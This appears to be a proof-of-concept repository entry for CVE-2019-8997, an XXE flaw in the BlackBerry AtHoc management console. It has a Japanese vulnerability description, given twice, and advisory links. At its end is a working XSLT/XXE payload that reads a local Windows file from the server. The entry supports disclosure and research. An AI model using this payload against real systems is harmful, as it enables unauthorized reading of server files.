nxkennedy/cve-2019-8997BlackBerry AtHoc バージョン 7.6 HF-567 より前の Management System (コンソール) における XML External Entity Injection (XXE) の脆弱性により、攻撃者は既存のフィールドに悪意を持って細工された XML を入力することによって、アプリケーションサーバーから任意のローカルファイルを読み取ったり、ネットワーク上にリクエストを送信したりする可能性があります。
BlackBerry AtHoc バージョン 7.6 HF-567 より前の Management System (コンソール) における XML External Entity Injection (XXE) の脆弱性により、攻撃者が既存のフィールドに悪意を持って細工された XML を入力することで、アプリケーションサーバー上の任意のローカルファイルを読み取ったり、ネットワーク上でリクエストを行ったりする可能性があります。
Nolan B. Kennedy (nxkennedy)
http://support.blackberry.com/kb/articleDetail?articleNumber=000047227
https://nvd.nist.gov/vuln/detail/CVE-2019-8997
https://www.nolanbkennedy.com/feed/xxe-vulnerability-blackberry-athoc
https://www.mindpointgroup.com/blog/pen-test/xxe-vulnerability-in-blackberry-athoc-networked-crisis-communication-platform/
<!DOCTYPE doc [
<!ELEMENT doc ANY >
<!ENTITY foo SYSTEM "file:///c:/windows/win.ini">
]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0">
<xsl:output method="html" />
<xsl:template match="/">
<doc>&foo;</doc>
<head></head>
<body style="margin: 0; padding: 0;" oncontextmenu="return
false;"></body>
</xsl:template>
</xsl:stylesheet>